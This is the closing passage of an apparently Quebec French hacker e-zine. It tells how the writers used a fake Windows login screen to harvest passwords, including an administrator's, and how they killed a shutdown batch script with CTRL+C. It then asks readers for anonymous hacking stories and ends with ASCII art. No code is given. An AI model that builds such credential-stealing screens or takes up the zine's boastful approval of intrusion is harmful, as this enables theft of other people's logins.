l, a m'aurait vite un bon 30 minutes  de coding en vb vu qu'il y avait  une
bonne dizaine d'accounts  sans passswords. Mon  login screen marchait  pas mal
bien, le  monde rentrait  leur password,  a leur  disait c'tait  pas le  bon
password,  a  quittait  le  fake screen,  a  affichait  le  bon et  personne
suspectait  rien.  On a  mme  russi   pogner  l'admin avec  notre  attrape.
Concernant  les accounts  avec password  null, les  admins pouvaient  pas les
enlever  pour  une quelconque  raison  inexplique alors  ils  ont trouv  une
solution  toute preuve pour les scuriser: un batch qui ferme Windows,  wow!
Ce qu'ils ont pas catch c'est que si t'es moindrement vite au clavier,  quand
la command line  windows s'ouvre pendant  une seconde, tu  fais CTRL+C pis  a
kill leur petit programme. 1-0 pour les rebelles vs. the empire. 

+------------------------------------------------------------------------------+


On va en profiter pour  faire un petit call for  papers ici la, alors ceux  qui
ont  des  histoires  (surtout  de  phreaking  a  serait  kewl)  envoyez  a  
mkd@mindkind.org, a restera anonyme, et on peut mme "retaper" l'histoire pour
vous (pour liminer la reconnaissance calligraphique! heh).

En passant on manque d'histoire parce que bien sur nous on hack JAMAIS ts, c'est
ben trop bad ts, on est des leets ts, on a pas juste a a faire ts, on perds
pas notre temps ts, est pas llammah ts, unf ts.



    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|                mkd@mindkind.org         |    
                                '-------- - ----------- ------------ -----'




                                                                                                                                                                             
                                                $$     $$                   
  $   $$$  $$$$$$$   $$$$$$    $$$$ $$  $ $$ $$ $ $$$ $ $           $$  $$$
  $  $$ $$$$$$$$$$$$$$$$$$$$   $$$ $$$  $$$$$$$$ $$$$$$             $$$$ $$
  $$$ $$$$$$$$$$$$   $$$$$$$$$    $     $$$$$$$$$$$$$$$ $$          $$$$$$$
  $$$$$$$   $$$$$$$$  $$$$$$$$ $$$$$$   $$$$$$$$$  $$$$$$$$   $$$$$$$$$$$$$
 $$$$$$$$    $$$$$$   $$$$$$$$ $$$$$$$  $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$$ 
 $$$$$$$$   $$$$$$$$  $$$$$$$$ $$$$$$$  $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$   
 $$$$$$$$   $$$$$$$$   $$$$$$$ $$$$$$$  $$$$$$$$$  $$$$$$$$ $$$$$$  $$$$$$$
  $$$$$$$   $$$$$$$$   $$$$$$$  $$$$$$  $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$$  
  $$$$$$$   $$$$$$$$   $$$$$$$  $$$$$$  $$$$$$$$$  $$$$$$$$ $$$$$$$$$$$$$$$  
  $$$$$$$   $$$$$$$$   $$$$$$$  $$$$$$  $$$$$$$$   $$$$$$$$  $$$$$$$$$$$$$$
  $$                                                               $$           
         $$$$$$$         $$$$ $$ $ $$ $$ $ $$$ $ $           $$  $$$ 
          $$$$$$         $$$ $$$ $$$$$$$$ $$$$$$             $$$$ $$ 
          $$$$$$$            $    $$$$$$$$$$$$$$$ $$          $$$$$$$ 
          $$$$$$$   $     $$$$$$  $$$$$$$$$  $$$$$$$$   $$$$$$$$$$$$$ 
          $$$$$$  $ $     $$$$$$$ $$$$$$$$$   $$$$$$$ $$$$$$$$$$$$$$$  
          $$$$$$ $ $$ $   $$$$$$$  $$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$$ 
          $$$$$$$$$$$$$   $$$$$$$ $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$$  
          $$$$$$$$$$$$    $$$$$$$ $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$    
          $$$$$$$ $$$$$$   $$$$$$ $$$$$$$$$  $$$$$$$$ $$$$$$$ $$$$$$$   
          $$$$$$$ $$$$$$$  $$$$$$ $$$$$$$$$  $$$$$$$$ $$$$$$$$$$$$$$$   
          $$$$$$$  $$$$$$  $$$$$$ $$$$$$$$   $$$$$$$$  $$$$$$$$$$$$$$   
                              $$$$$                         $$      




                   Star's end is right under your feet,
                        eZine's end is right here.